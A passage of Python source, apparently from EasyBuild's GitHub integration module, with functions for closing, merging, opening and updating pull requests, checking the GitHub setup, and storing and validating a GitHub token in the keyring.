last_comment['updated_at'].replace('T', ' at ')[:-1] username = last_comment['user']['login'] print_msg("Last comment on %s, by %s, was:\n\n%s" % (timestamp, username, last_comment['body']), prefix=False) if pr_data['reviews']: last_review = pr_data['reviews'][-1] timestamp = last_review['submitted_at'].replace('T', ' at ')[:-1] username = last_review['user']['login'] state, body = last_review['state'], last_review['body'] print_msg("Last reviewed on %s by %s, state %s\n\n%s" % (timestamp, username, state, body), prefix=False) possible_reasons = [] print_msg("No activity since %s" % pr_data['updated_at'].replace('T', ' at ')[:-1], prefix=False) # check if PR is inactive for more than 6 months last_updated = datetime.strptime(pr_data['updated_at'], "%Y-%m-%dT%H:%M:%SZ") if datetime.now() - last_updated > timedelta(days=180): possible_reasons.append('inactive') robot_paths = build_option('robot_path') pr_files = [path for path in fetch_easyconfigs_from_pr(pr_data['number']) if path.endswith('.eb')] obsoleted = [] uses_archived_tc = [] for pr_file in pr_files: pr_ec = EasyConfigParser(pr_file).get_config_dict() pr_tc = '%s-%s' % (pr_ec['toolchain']['name'], pr_ec['toolchain']['version']) print_msg("* %s-%s" % (pr_ec['name'], pr_ec['version']), prefix=False) for robot_path in robot_paths: # check if PR easyconfig uses an archived toolchain path = os.path.join(robot_path, EASYCONFIGS_ARCHIVE_DIR, pr_tc[0].lower(), pr_tc.split('-')[0]) for (dirpath, _, filenames) in os.walk(path): for fn in filenames: if fn.endswith('.eb'): ec = EasyConfigParser(os.path.join(dirpath, fn)).get_config_dict() if ec.get('easyblock') == 'Toolchain': if 'versionsuffix' in ec: archived_tc = '%s-%s%s' % (ec['name'], ec['version'], ec.get('versionsuffix')) else: archived_tc = '%s-%s' % (ec['name'], ec['version']) if pr_tc == archived_tc: print_msg(" - uses archived toolchain %s" % pr_tc, prefix=False) uses_archived_tc.append(pr_ec) # check if there is a newer version of PR easyconfig newer_versions = set() for (dirpath, _, filenames) in os.walk(os.path.join(robot_path, pr_ec['name'].lower()[0], pr_ec['name'])): for fn in filenames: if fn.endswith('.eb'): ec = EasyConfigParser(os.path.join(dirpath, fn)).get_config_dict() if LooseVersion(ec['version']) > LooseVersion(pr_ec['version']): newer_versions.add(ec['version']) if newer_versions: print_msg(" - found newer versions %s" % ", ".join(sorted(newer_versions)), prefix=False) obsoleted.append(pr_ec) if uses_archived_tc: possible_reasons.append('archived') if any([e['name'] in pr_data['title'] for e in obsoleted]): possible_reasons.append('obsolete') return possible_reasons def close_pr(pr, motivation_msg=None): """ Close specified pull request :param pr: PR number :param motivation_msg: string containing motivation for closing the PR """ github_user = build_option('github_user') if github_user is None: raise EasyBuildError("GitHub user must be specified to use --close-pr") pr_target_account = build_option('pr_target_account') pr_target_repo = build_option('pr_target_repo') or GITHUB_EASYCONFIGS_REPO pr_data, _ = fetch_pr_data(pr, pr_target_account, pr_target_repo, github_user, full=True) if pr_data['state'] == GITHUB_STATE_CLOSED: raise EasyBuildError("PR #%d from %s/%s is already closed.", pr, pr_target_account, pr_target_repo) pr_owner = pr_data['user']['login'] msg = "\n%s/%s PR #%s was submitted by %s, " % (pr_target_account, pr_target_repo, pr, pr_owner) msg += "you are using GitHub account '%s'\n" % github_user msg += "\nPR Title: \"%s\"\n" % pr_data['title'] print_msg(msg, prefix=False) dry_run = build_option('dry_run') or build_option('extended_dry_run') reopen = motivation_msg == VALID_CLOSE_PR_REASONS['retest'] if not motivation_msg: print_msg("No reason or message specified, looking for possible reasons\n") possible_reasons = reasons_for_closing(pr_data) if not possible_reasons: raise EasyBuildError("No reason specified and none found from PR data, " "please use --close-pr-reasons or --close-pr-msg") else: motivation_msg = ", ".join([VALID_CLOSE_PR_REASONS[reason] for reason in possible_reasons]) print_msg("\nNo reason specified but found possible reasons: %s.\n" % motivation_msg, prefix=False) msg = "@%s, this PR is being closed for the following reason(s): %s." % (pr_data['user']['login'], motivation_msg) if not reopen: msg += "\nPlease don't hesitate to reopen this PR or add a comment if you feel this contribution is still " msg += "relevant.\nFor more information on our policy w.r.t. closing PRs, see " msg += "https://easybuild.readthedocs.io/en/latest/Contributing.html" msg += "#why-a-pull-request-may-be-closed-by-a-maintainer" post_comment_in_issue(pr, msg, account=pr_target_account, repo=pr_target_repo, github_user=github_user) if dry_run: print_msg("[DRY RUN] Closed %s/%s PR #%s" % (pr_target_account, pr_target_repo, pr), prefix=False) if reopen: print_msg("[DRY RUN] Reopened %s/%s PR #%s" % (pr_target_account, pr_target_repo, pr), prefix=False) else: github_token = fetch_github_token(github_user) if github_token is None: raise EasyBuildError("GitHub token for user '%s' must be available to use --close-pr", github_user) g = RestClient(GITHUB_API_URL, username=github_user, token=github_token) pull_url = g.repos[pr_target_account][pr_target_repo].pulls[pr] body = {'state': 'closed'} status, data = pull_url.post(body=body) if not status == HTTP_STATUS_OK: raise EasyBuildError("Failed to close PR #%s; status %s, data: %s", pr, status, data) if reopen: body = {'state': 'open'} status, data = pull_url.post(body=body) if not status == HTTP_STATUS_OK: raise EasyBuildError("Failed to reopen PR #%s; status %s, data: %s", pr, status, data) def list_prs(params, per_page=GITHUB_MAX_PER_PAGE, github_user=None): """ List pull requests according to specified selection/order parameters :param params: 3-tuple with selection parameters for PRs (<state>, <sort>, <direction>), see https://developer.github.com/v3/pulls/#parameters """ parameters = { 'state': params[0], 'sort': params[1], 'direction': params[2], 'per_page': per_page, } print_msg("Listing PRs with parameters: %s" % ', '.join(k + '=' + str(parameters[k]) for k in sorted(parameters))) pr_target_account = build_option('pr_target_account') pr_target_repo = build_option('pr_target_repo') or GITHUB_EASYCONFIGS_REPO pr_data, _ = fetch_pr_data(None, pr_target_account, pr_target_repo, github_user, **parameters) lines = [] for pr in pr_data: lines.append("PR #%s: %s" % (pr['number'], pr['title'])) return '\n'.join(lines) def merge_pr(pr): """ Merge specified pull request """ github_user = build_option('github_user') if github_user is None: raise EasyBuildError("GitHub user must be specified to use --merge-pr") pr_target_account = build_option('pr_target_account') pr_target_repo = build_option('pr_target_repo') or GITHUB_EASYCONFIGS_REPO pr_data, pr_url = fetch_pr_data(pr, pr_target_account, pr_target_repo, github_user, full=True) msg = "\n%s/%s PR #%s was submitted by %s, " % (pr_target_account, pr_target_repo, pr, pr_data['user']['login']) msg += "you are using GitHub account '%s'\n" % github_user print_msg(msg, prefix=False) if pr_data['user']['login'] == github_user: raise EasyBuildError("Please do not merge your own PRs!") force = build_option('force') dry_run = build_option('dry_run') or build_option('extended_dry_run') def merge_url(gh): """Utility function to fetch merge URL for a specific PR.""" return gh.repos[pr_target_account][pr_target_repo].pulls[pr].merge if check_pr_eligible_to_merge(pr_data) or force: print_msg("\nReview %s merging pull request!\n" % ("OK,", "FAILed, yet forcibly")[force], prefix=False) comment = "Going in, thanks @%s!" % pr_data['user']['login'] post_comment_in_issue(pr, comment, account=pr_target_account, repo=pr_target_repo, github_user=github_user) if dry_run: print_msg("[DRY RUN] Merged %s/%s pull request #%s" % (pr_target_account, pr_target_repo, pr), prefix=False) else: body = { 'commit_message': pr_data['title'], 'sha': pr_data['head']['sha'], } github_api_put_request(merge_url, github_user, body=body) else: print_warning("Review indicates this PR should not be merged (use -f/--force to do so anyway)") @only_if_module_is_available('git', pkgname='GitPython') def new_branch_github(paths, ecs, commit_msg=None): """ Create new branch on GitHub using specified files :param paths: paths to categorized lists of files (easyconfigs, files to delete, patches, files with .py extension) :param ecs: list of parsed easyconfigs, incl. for dependencies (if robot is enabled) :param commit_msg: commit message to use """ branch_name = build_option('pr_branch_name') if commit_msg is None: commit_msg = build_option('pr_commit_msg') # create branch, commit files to it & push to GitHub res = _easyconfigs_pr_common(paths, ecs, pr_branch=branch_name, commit_msg=commit_msg) return res @only_if_module_is_available('git', pkgname='GitPython') def new_pr_from_branch(branch_name, title=None, descr=None, pr_target_repo=None, pr_metadata=None, commit_msg=None): """ Create new pull request from specified branch on GitHub. """ if descr is None: descr = build_option('pr_descr') if commit_msg is None: commit_msg = build_option('pr_commit_msg') if title is None: title = build_option('pr_title') or commit_msg pr_target_account = build_option('pr_target_account') pr_target_branch = build_option('pr_target_branch') if pr_target_repo is None: pr_target_repo = build_option('pr_target_repo') or GITHUB_EASYCONFIGS_REPO # fetch GitHub token (required to perform actions on GitHub) github_user = build_option('github_user') if github_user is None: raise EasyBuildError("GitHub user must be specified to open a pull request") github_token = fetch_github_token(github_user) if github_token is None: raise EasyBuildError("GitHub token for user '%s' must be available to open a pull request", github_user) # GitHub organisation or GitHub user where branch is located github_account = build_option('github_org') or github_user if pr_metadata: file_info, deleted_paths, diff_stat = pr_metadata else: # initialize repository git_working_dir = tempfile.mkdtemp(prefix='git-working-dir') git_repo = init_repo(git_working_dir, pr_target_repo) # check out PR branch, and sync with current develop setup_repo(git_repo, github_account, pr_target_repo, branch_name) print_msg("syncing '%s' with current '%s/develop' branch..." % (branch_name, pr_target_account), log=_log) sync_with_develop(git_repo, branch_name, pr_target_account, pr_target_repo) # checkout target branch, to obtain diff with PR branch # make sure right branch is being used by checking it out via remotes/* print_msg("checking out target branch '%s/%s'..." % (pr_target_account, pr_target_branch), log=_log) remote = create_remote(git_repo, pr_target_account, pr_target_repo, https=True) git_repo.git.fetch(remote.name) if pr_target_branch in [b.name for b in git_repo.branches]: git_repo.delete_head(pr_target_branch, force=True) full_target_branch_ref = 'remotes/%s/%s' % (remote.name, pr_target_branch) git_repo.git.checkout(full_target_branch_ref, track=True, force=True) diff_stat = git_repo.git.diff(full_target_branch_ref, branch_name, stat=True) print_msg("determining metadata for pull request based on changed files...", log=_log) # figure out list of new/changed & deletes files compared to target branch difflist = git_repo.head.commit.diff(branch_name) changed_files, ec_paths, deleted_paths, patch_paths = [], [], [], [] for diff in difflist: path = diff.b_path changed_files.append(path) if diff.deleted_file: deleted_paths.append(path) elif path.endswith('.eb'): ec_paths.append(path) elif path.endswith('.patch'): patch_paths.append(path) if changed_files: from_branch = '%s/%s' % (github_account, branch_name) to_branch = '%s/%s' % (pr_target_account, pr_target_branch) msg = ["found %d changed file(s) in '%s' relative to '%s':" % (len(changed_files), from_branch, to_branch)] if ec_paths: msg.append("* %d new/changed easyconfig file(s):" % len(ec_paths)) msg.extend([" " + x for x in ec_paths]) if patch_paths: msg.append("* %d patch(es):" % len(patch_paths)) msg.extend([" " + x for x in patch_paths]) if deleted_paths: msg.append("* %d deleted file(s)" % len(deleted_paths)) msg.append([" " + x for x in deleted_paths]) print_msg('\n'.join(msg), log=_log) else: raise EasyBuildError("No changes in '%s' branch compared to current 'develop' branch!", branch_name) # copy repo while target branch is still checked out tmpdir = tempfile.mkdtemp() target_dir = os.path.join(tmpdir, pr_target_repo) copy_dir(os.path.join(git_working_dir, pr_target_repo), target_dir, force_in_dry_run=True) # check out PR branch to determine info on changed/added files relative to target branch # make sure right branch is being used by checkout it out via remotes/* print_msg("checking out PR branch '%s/%s'..." % (github_account, branch_name), log=_log) remote = create_remote(git_repo, github_account, pr_target_repo, https=True) git_repo.git.fetch(remote.name) if branch_name in [b.name for b in git_repo.branches]: git_repo.delete_head(branch_name, force=True) git_repo.git.checkout('remotes/%s/%s' % (remote.name, branch_name), track=True, force=True) # path to easyconfig files is expected to be absolute in det_file_info ec_paths = [os.path.join(git_working_dir, pr_target_repo, x) for x in ec_paths] file_info = det_file_info(ec_paths, target_dir) labels = [] if pr_target_repo == GITHUB_EASYCONFIGS_REPO: # label easyconfigs for new software and/or new easyconfigs for existing software if any(file_info['new_folder']): labels.append('new') if any(file_info['new_file_in_existing_folder']): labels.append('update') # only use most common toolchain(s) in toolchain label of PR title toolchains = ['%(name)s/%(version)s' % ec['toolchain'] for ec in file_info['ecs']] toolchains_counted = sorted([(toolchains.count(tc), tc) for tc in nub(toolchains)]) toolchain_label = ','.join([tc for (cnt, tc) in toolchains_counted if cnt == toolchains_counted[-1][0]]) # only use most common module class(es) in moduleclass label of PR title classes = [ec['moduleclass'] for ec in file_info['ecs']] classes_counted = sorted([(classes.count(c), c) for c in nub(classes)]) class_label = ','.join([tc for (cnt, tc) in classes_counted if cnt == classes_counted[-1][0]]) elif pr_target_repo == GITHUB_EASYBLOCKS_REPO: if any(file_info['new']): labels.append('new') if title is None: if pr_target_repo == GITHUB_EASYCONFIGS_REPO: if file_info['ecs'] and all(file_info['new']) and not deleted_paths: # mention software name/version in PR title (only first 3) names_and_versions = nub(["%s v%s" % (ec.name, ec.version) for ec in file_info['ecs']]) if len(names_and_versions) <= 3: main_title = ', '.join(names_and_versions) else: main_title = ', '.join(names_and_versions[:3] + ['...']) title = "{%s}[%s] %s" % (class_label, toolchain_label, main_title) # if Python is listed as a dependency, then mention Python version(s) in PR title pyver = [] for ec in file_info['ecs']: # iterate over all dependencies (incl. build dependencies & multi-deps) for dep in ec.dependencies(): if dep['name'] == 'Python': # check whether Python is listed as a multi-dep if it's marked as a build dependency if dep['build_only'] and 'Python' not in ec['multi_deps']: continue else: pyver.append(dep['version']) if pyver: title += " w/ Python %s" % ' + '.join(sorted(nub(pyver))) elif pr_target_repo == GITHUB_EASYBLOCKS_REPO: if file_info['eb_names'] and all(file_info['new']) and not deleted_paths: plural = 's' if len(file_info['eb_names']) > 1 else '' title = "new easyblock%s for %s" % (plural, (', '.join(file_info['eb_names']))) if title is None: raise EasyBuildError("Don't know how to make a PR title for this PR. " "Please include a title (use --pr-title)") full_descr = "(created using `eb --new-pr`)\n" if descr is not None: full_descr += descr # create PR pr_target_branch = build_option('pr_target_branch') dry_run = build_option('dry_run') or build_option('extended_dry_run') msg = '\n'.join([ '', "Opening pull request%s" % ('', " [DRY RUN]")[dry_run], "* target: %s/%s:%s" % (pr_target_account, pr_target_repo, pr_target_branch), "* from: %s/%s:%s" % (github_account, pr_target_repo, branch_name), "* title: \"%s\"" % title, "* labels: %s" % (', '.join(labels) or '(none)'), "* description:", '"""', full_descr, '"""', "* overview of changes:\n%s" % diff_stat, '', ]) print_msg(msg, log=_log, prefix=False) if not dry_run: g = RestClient(GITHUB_API_URL, username=github_user, token=github_token) pulls_url = g.repos[pr_target_account][pr_target_repo].pulls body = { 'base': pr_target_branch, 'head': '%s:%s' % (github_account, branch_name), 'title': title, 'body': full_descr, } status, data = pulls_url.post(body=body) if not status == HTTP_STATUS_CREATED: raise EasyBuildError("Failed to open PR for branch %s; status %s, data: %s", branch_name, status, data) print_msg("Opened pull request: %s" % data['html_url'], log=_log, prefix=False) if labels: # post labels pr = data['html_url'].split('/')[-1] pr_url = g.repos[pr_target_account][pr_target_repo].issues[pr] try: status, data = pr_url.labels.post(body=labels) if status == HTTP_STATUS_OK: print_msg("Added labels %s to PR#%s" % (', '.join(labels), pr), log=_log, prefix=False) except HTTPError as err: _log.info("Failed to add labels to PR# %s: %s." % (pr, err)) def new_pr(paths, ecs, title=None, descr=None, commit_msg=None): """ Open new pull request using specified files :param paths: paths to categorized lists of files (easyconfigs, files to delete, patches) :param ecs: list of parsed easyconfigs, incl. for dependencies (if robot is enabled) :param title: title to use for pull request :param descr: description to use for description :param commit_msg: commit message to use """ if commit_msg is None: commit_msg = build_option('pr_commit_msg') # create new branch in GitHub res = new_branch_github(paths, ecs, commit_msg=commit_msg) file_info, deleted_paths, _, branch_name, diff_stat, pr_target_repo = res new_pr_from_branch(branch_name, title=title, descr=descr, pr_target_repo=pr_target_repo, pr_metadata=(file_info, deleted_paths, diff_stat), commit_msg=commit_msg) def det_account_branch_for_pr(pr_id, github_user=None, pr_target_repo=None): """Determine account & branch corresponding to pull request with specified id.""" if github_user is None: github_user = build_option('github_user') if github_user is None: raise EasyBuildError("GitHub username (--github-user) must be specified!") pr_target_account = build_option('pr_target_account') if pr_target_repo is None: pr_target_repo = build_option('pr_target_repo') or GITHUB_EASYCONFIGS_REPO pr_data, _ = fetch_pr_data(pr_id, pr_target_account, pr_target_repo, github_user) # branch that corresponds with PR is supplied in form <account>:<branch_label> account = pr_data['head']['label'].split(':')[0] branch = ':'.join(pr_data['head']['label'].split(':')[1:]) github_target = '%s/%s' % (pr_target_account, pr_target_repo) print_msg("Determined branch name corresponding to %s PR #%s: %s" % (github_target, pr_id, branch), log=_log) return account, branch def det_pr_target_repo(paths): """Determine target repository for pull request from given cagetorized list of files :param paths: paths to categorized lists of files (easyconfigs, files to delete, patches, .py files) """ pr_target_repo = build_option('pr_target_repo') # determine target repository for PR based on which files are provided # (see categorize_files_by_type function) if pr_target_repo is None: _log.info("Trying to derive target repository based on specified files...") easyconfigs, files_to_delete, patch_files, py_files = [paths[key] for key in sorted(paths.keys())] # Python files provided, and no easyconfig files or patches if py_files and not (easyconfigs or patch_files): _log.info("Only Python files provided, no easyconfig files or patches...") # if all Python files are easyblocks, target repo should be easyblocks; # otherwise, target repo is assumed to be framework if all([get_easyblock_class_name(path) for path in py_files]): pr_target_repo = GITHUB_EASYBLOCKS_REPO _log.info("All Python files are easyblocks, target repository is assumed to be %s", pr_target_repo) else: pr_target_repo = GITHUB_FRAMEWORK_REPO _log.info("Not all Python files are easyblocks, target repository is assumed to be %s", pr_target_repo) # if no Python files are provided, only easyconfigs & patches, or if files to delete are .eb files, # then target repo is assumed to be easyconfigs elif easyconfigs or patch_files or (files_to_delete and all(x.endswith('.eb') for x in files_to_delete)): pr_target_repo = GITHUB_EASYCONFIGS_REPO _log.info("Only easyconfig and patch files found, target repository is assumed to be %s", pr_target_repo) else: _log.info("No Python files, easyconfigs or patches found, can't derive target repository...") return pr_target_repo @only_if_module_is_available('git', pkgname='GitPython') def update_branch(branch_name, paths, ecs, github_account=None, commit_msg=None): """ Update specified branch in GitHub using specified files :param paths: paths to categorized lists of files (easyconfigs, files to delete, patches) :param github_account: GitHub account where branch is located :param ecs: list of parsed easyconfigs, incl. for dependencies (if robot is enabled) :param commit_msg: commit message to use """ if commit_msg is None: commit_msg = build_option('pr_commit_msg') if commit_msg is None: raise EasyBuildError("A meaningful commit message must be specified via --pr-commit-msg when using --update-pr") if github_account is None: github_account = build_option('github_user') or build_option('github_org') _, _, _, _, diff_stat, pr_target_repo = _easyconfigs_pr_common(paths, ecs, start_branch=branch_name, pr_branch=branch_name, start_account=github_account, commit_msg=commit_msg) print_msg("Overview of changes:\n%s\n" % diff_stat, log=_log, prefix=False) full_repo = '%s/%s' % (github_account, pr_target_repo) msg = "pushed updated branch '%s' to %s" % (branch_name, full_repo) if build_option('dry_run') or build_option('extended_dry_run'): msg += " [DRY RUN]" print_msg(msg, log=_log) @only_if_module_is_available('git', pkgname='GitPython') def update_pr(pr_id, paths, ecs, commit_msg=None): """ Update specified pull request using specified files :param pr_id: ID of pull request to update :param paths: paths to categorized lists of files (easyconfigs, files to delete, patches) :param ecs: list of parsed easyconfigs, incl. for dependencies (if robot is enabled) :param commit_msg: commit message to use """ pr_target_repo = det_pr_target_repo(paths) if pr_target_repo is None: raise EasyBuildError("Failed to determine target repository, please specify it via --pr-target-repo!") github_account, branch_name = det_account_branch_for_pr(pr_id, pr_target_repo=pr_target_repo) update_branch(branch_name, paths, ecs, github_account=github_account, commit_msg=commit_msg) full_repo = '%s/%s' % (build_option('pr_target_account'), pr_target_repo) msg = "updated https://github.com/%s/pull/%s" % (full_repo, pr_id) if build_option('dry_run') or build_option('extended_dry_run'): msg += " [DRY RUN]" print_msg(msg, log=_log) def check_online_status(): """ Check whether we currently are online Return True if online, else a list of error messages """ # Try repeatedly and with different URLs to cater for flaky servers # E.g. Github returned "HTTP Error 403: Forbidden" and "HTTP Error 406: Not Acceptable" randomly # Timeout and repeats set to total 1 minute urls = [GITHUB_API_URL + '/rate_limit', GITHUB_URL, GITHUB_API_URL] num_repeats = 6 errors = set() # Use set to record only unique errors for attempt in range(num_repeats): # Cycle through URLs url = urls[attempt % len(urls)] try: urlopen(url, timeout=10) errors = None break except URLError as err: errors.add('%s: %s' % (url, err)) return sorted(errors) if errors else True def check_github(): """ Check status of GitHub integration, and report back. * check whether GitHub username is available * check whether a GitHub token is available, and whether it works * check whether git and GitPython are available * check whether push access to own GitHub repositories works * check whether creating gists works * check whether location to local working directories for Git repositories is available (not strictly needed) """ debug = build_option('debug') # start by assuming that everything works, individual checks will disable action that won't work status = {} for action in ['--from-pr', '--new-pr', '--review-pr', '--upload-test-report', '--update-pr']: status[action] = True print_msg("\nChecking status of GitHub integration...\n", log=_log, prefix=False) # check whether we're online; if not, half of the checks are going to fail... print_msg("Making sure we're online...", log=_log, prefix=False, newline=False) online_state = check_online_status() if online_state is True: print_msg("OK\n", log=_log, prefix=False) else: print_msg("FAIL (%s)", ', '.join(online_state), log=_log, prefix=False) raise EasyBuildError("checking status of GitHub integration must be done online") # GitHub user print_msg("* GitHub user...", log=_log, prefix=False, newline=False) github_user = build_option('github_user') github_account = build_option('github_org') or build_option('github_user') if github_user is None: check_res = "(none available) => FAIL" status['--new-pr'] = status['--update-pr'] = status['--upload-test-report'] = False else: check_res = "%s => OK" % github_user print_msg(check_res, log=_log, prefix=False) # check GitHub token print_msg("* GitHub token...", log=_log, prefix=False, newline=False) github_token = fetch_github_token(github_user) if github_token is None: check_res = "(no token found) => FAIL" else: # don't print full token, should be kept secret! partial_token = '%s..%s' % (github_token[:3], github_token[-3:]) token_descr = partial_token + " (len: %d)" % len(github_token) if validate_github_token(github_token, github_user): check_res = "%s => OK (validated)" % token_descr else: check_res = "%s => FAIL (validation failed)" % token_descr if 'FAIL' in check_res: status['--new-pr'] = status['--update-pr'] = status['--upload-test-report'] = False print_msg(check_res, log=_log, prefix=False) # check git command print_msg("* git command...", log=_log, prefix=False, newline=False) git_cmd = which('git') git_version = get_tool_version('git') if git_cmd: if git_version in [UNKNOWN, None]: check_res = "%s version => FAIL" % git_version else: check_res = "OK (\"%s\")" % git_version else: check_res = "(not found) => FAIL" if 'FAIL' in check_res: status['--new-pr'] = status['--update-pr'] = False print_msg(check_res, log=_log, prefix=False) # check GitPython module print_msg("* GitPython module...", log=_log, prefix=False, newline=False) if 'git' in sys.modules: git_check = True git_attrs = ['GitCommandError', 'Repo'] for attr in git_attrs: git_check &= attr in dir(git) if git_check: check_res = "OK (GitPython version %s)" % git.__version__ else: check_res = "FAIL (import ok, but module doesn't provide what is expected)" else: check_res = "FAIL (import failed)" if 'FAIL' in check_res: status['--new-pr'] = status['--update-pr'] = False print_msg(check_res, log=_log, prefix=False) # test push access to own GitHub repository: try to clone repo and push a test branch msg = "* push access to %s/%s repo @ GitHub..." % (github_account, GITHUB_EASYCONFIGS_REPO) print_msg(msg, log=_log, prefix=False, newline=False) git_working_dir = tempfile.mkdtemp(prefix='git-working-dir') git_repo, res, push_err = None, None, None branch_name = 'test_branch_%s' % ''.join(random.choice(ascii_letters) for _ in range(5)) try: git_repo = init_repo(git_working_dir, GITHUB_EASYCONFIGS_REPO, silent=not debug) remote_name = setup_repo(git_repo, github_account, GITHUB_EASYCONFIGS_REPO, 'master', silent=not debug, git_only=True) git_repo.create_head(branch_name) res = getattr(git_repo.remotes, remote_name).push(branch_name) except Exception as err: _log.warning("Exception when testing push access to %s/%s: %s", github_account, GITHUB_EASYCONFIGS_REPO, err) push_err = err if res: if res[0].flags & res[0].ERROR: _log.warning("Error occurred when pushing test branch to GitHub: %s", res[0].summary) check_res = "FAIL (error occurred)" else: check_res = "OK" elif github_user: if 'git' in sys.modules: ver, req_ver = git.__version__, '1.0' if LooseVersion(ver) < LooseVersion(req_ver): check_res = "FAIL (GitPython version %s is too old, should be version %s or newer)" % (ver, req_ver) else: check_res = "FAIL (unexpected exception: %s)" % push_err else: check_res = "FAIL (GitPython is not available)" else: check_res = "FAIL (no GitHub user specified)" if 'FAIL' in check_res: status['--new-pr'] = status['--update-pr'] = False print_msg(check_res, log=_log, prefix=False) # cleanup: delete test branch that was pushed to GitHub if git_repo and push_err is None: try: getattr(git_repo.remotes, remote_name).push(branch_name, delete=True) except GitCommandError as err: sys.stderr.write("WARNING: failed to delete test branch from GitHub: %s\n" % err) # test creating a gist print_msg("* creating gists...", log=_log, prefix=False, newline=False) gist_url = None try: gist_url = create_gist("This is just a test", 'test.txt', descr='test123', github_user=github_user, github_token=github_token) gist_id = gist_url.split('/')[-1] _log.info("Gist with ID %s successfully created, now deleting it again...", gist_id) delete_gist(gist_id, github_user=github_user, github_token=github_token) _log.info("Gist with ID %s deleted!", gist_id) except Exception as err: _log.warning("Exception occurred when trying to create & delete gist: %s", err) if gist_url and re.match('https://gist.github.com/[0-9a-f]+$', gist_url): check_res = "OK" else: check_res = "FAIL (gist_url: %s)" % gist_url status['--upload-test-report'] = False print_msg(check_res, log=_log, prefix=False) # check whether location to local working directories for Git repositories is available (not strictly needed) print_msg("* location to Git working dirs... ", log=_log, prefix=False, newline=False) git_working_dirs_path = build_option('git_working_dirs_path') if git_working_dirs_path: check_res = "OK (%s)" % git_working_dirs_path else: check_res = "not found (suboptimal)" print_msg(check_res, log=_log, prefix=False) # report back if all(status.values()): msg = "\nAll checks PASSed!\n" else: msg = '\n'.join([ '', "One or more checks FAILed, GitHub configuration not fully complete!", "See http://easybuild.readthedocs.org/en/latest/Integration_with_GitHub.html#configuration for help.", '', ]) print_msg(msg, log=_log, prefix=False) print_msg("Status of GitHub integration:", log=_log, prefix=False) for action in sorted(status): res = ("not supported", 'OK')[status[action]] print_msg("* %s: %s" % (action, res), log=_log, prefix=False) print_msg('', prefix=False) def fetch_github_token(user): """Fetch GitHub token for specified user from keyring.""" token, msg = None, None if user is None: msg = "No GitHub user name provided, required for fetching GitHub token." elif not HAVE_KEYRING: msg = "Failed to obtain GitHub token from keyring, " msg += "required Python module https://pypi.python.org/pypi/keyring is not available." else: try: token = keyring.get_password(KEYRING_GITHUB_TOKEN, user) except Exception as err: _log.warning("Exception occurred when fetching GitHub token: %s", err) if token is None: python_cmd = '; '.join([ "import getpass, keyring", "keyring.set_password(\"%s\", \"%s\", getpass.getpass())" % (KEYRING_GITHUB_TOKEN, user), ]) msg = '\n'.join([ "Failed to obtain GitHub token for %s" % user, "Use the following procedure to install a GitHub token in your keyring:", "$ python -c '%s'" % python_cmd, ]) if token is None: # failed to obtain token, log message explaining why _log.warning(msg) else: _log.info("Successfully obtained GitHub token for user %s from keyring." % user) return token @only_if_module_is_available('keyring') def install_github_token(github_user, silent=False): """ Install specified GitHub token for specified user. :param github_user: GitHub user to install token for :param silent: keep quiet (don't print any messages) """ if github_user is None: raise EasyBuildError("GitHub user must be specified to install GitHub token") # check if there's a token available already current_token = fetch_github_token(github_user) if current_token: current_token = '%s..%s' % (current_token[:3], current_token[-3:]) if build_option('force'): msg = "WARNING: overwriting installed token '%s' for user '%s'..." % (current_token, github_user) print_msg(msg, prefix=False, silent=silent) else: raise EasyBuildError("Installed token '%s' found for user '%s', not overwriting it without --force", current_token, github_user) # get token to install token = getpass.getpass(prompt="Token: ").strip() # validate token before installing it print_msg("Validating token...", prefix=False, silent=silent) valid_token = validate_github_token(token, github_user) if valid_token: print_msg("Token seems to be valid, installing it.", prefix=False, silent=silent) else: raise EasyBuildError("Token validation failed, not installing it. Please verify your token and try again.") # install token keyring.set_password(KEYRING_GITHUB_TOKEN, github_user, token) print_msg("Token '%s..%s' installed!" % (token[:3], token[-3:]), prefix=False, silent=silent) def validate_github_token(token, github_user): """ Check GitHub token: * see if it conforms expectations (only [a-f]+[0-9] characters, length of 40) * see if it can be used for authenticated access """ sha_regex = re.compile('^[0-9a-f]{40}') # token should be 40 characters long, and only contain characters in [0-9a-f] sanity_check = bool(sha_regex.match(token)) if sanity_check: _log.info("Sanity check on token passed") else: _log.warning("Sanity check on token failed; token doesn't match pattern '%s'", sha_regex.pattern) # try and determine sha of latest commit in easybuilders/easybuild-easyconfigs repo through authenticated access sha = None try: sha = fetch_latest_commit_sha(GITHUB_EASYCONFIGS_REPO, GITHUB_EB_MAIN, github_user=github_user, token=token) except Exception as err: _log.warning("An exception occurred when trying to use token for authenticated GitHub access: %s", err) token_test = bool(sha_regex.match(sha or '')) if token_test: _log.info("GitHub token can be used for authenticated GitHub access, validation passed") return sanity_check and token_test def find_easybuild_easyconfig(github_user=None): """ Fetches the latest EasyBuild version eb file from GitHub :param github_user: name of GitHub user to use when querying GitHub """ dev_repo = download_repo(GITHUB_EASYCONFIGS_REPO, branch='develop', account=GITHUB_EB_MAIN, github_user=github_user) eb_parent_path = os.path.join(dev_repo, 'easybuild', 'easyconfigs', 'e', 'EasyBuild') files = os.listdir(eb_parent_path) # find most recent version file_versions = [] for eb_file in files: txt = read_file(os.path.join(eb_parent_path, eb_file)) for line in txt.split('\n'): if re.search(r'^version\s*=', line): scope = {} exec(line, scope) version = scope['version'] file_versions.append((LooseVersion(version), eb_file)) if file_versions: fn = sorted(file_versions)[-1][1] else: raise EasyBuildError("Couldn't find any EasyBuild easyconfigs") eb_file = os.path.join(eb_parent_path, fn) return eb_file def fetch_pr_data(pr, pr_target_account, pr_target_repo, github_user, full=False, **parameters): """Fetch PR data from GitHub""" def pr_url(gh): """Utility function to fetch data for a specific PR.""" if pr is None: return gh.repos[pr_target_account][pr_target_repo].pulls else: return gh.repos[pr_target_account][pr_target_repo].pulls[pr] status, pr_data = github_api_get_request(pr_url, github_user, **parameters) if status != HTTP_STATUS_OK: raise EasyBuildError("Failed to get data for PR #%d from %s/%s (status: %d %s)", pr, pr_target_account, pr_target_repo, status, pr_data) if full: # also fetch status of last commit def status_url(gh): """Helper function to grab status of latest commit.""" return gh.repos[pr_target_account][pr_target_repo].commits[pr_data['head']['sha']].status status, status_data = github_api_get_request(status_url, github_user, **parameters) if status != HTTP_STATUS_OK: raise EasyBuildError("Failed to get status of last commit for PR #%d from %s/%s (status: %d %s)", pr, pr_target_account, pr_target_repo, status, status_data) pr_data['status_last_commit'] = status_data['state'] # also fetch comments def comments_url(gh): """Helper function to grab comments for this PR.""" return gh.repos[pr_target_account][pr_target_repo].issues[pr].comments status, comments_data = github_api_get_request(comments_url, github_user, **parameters) if status != 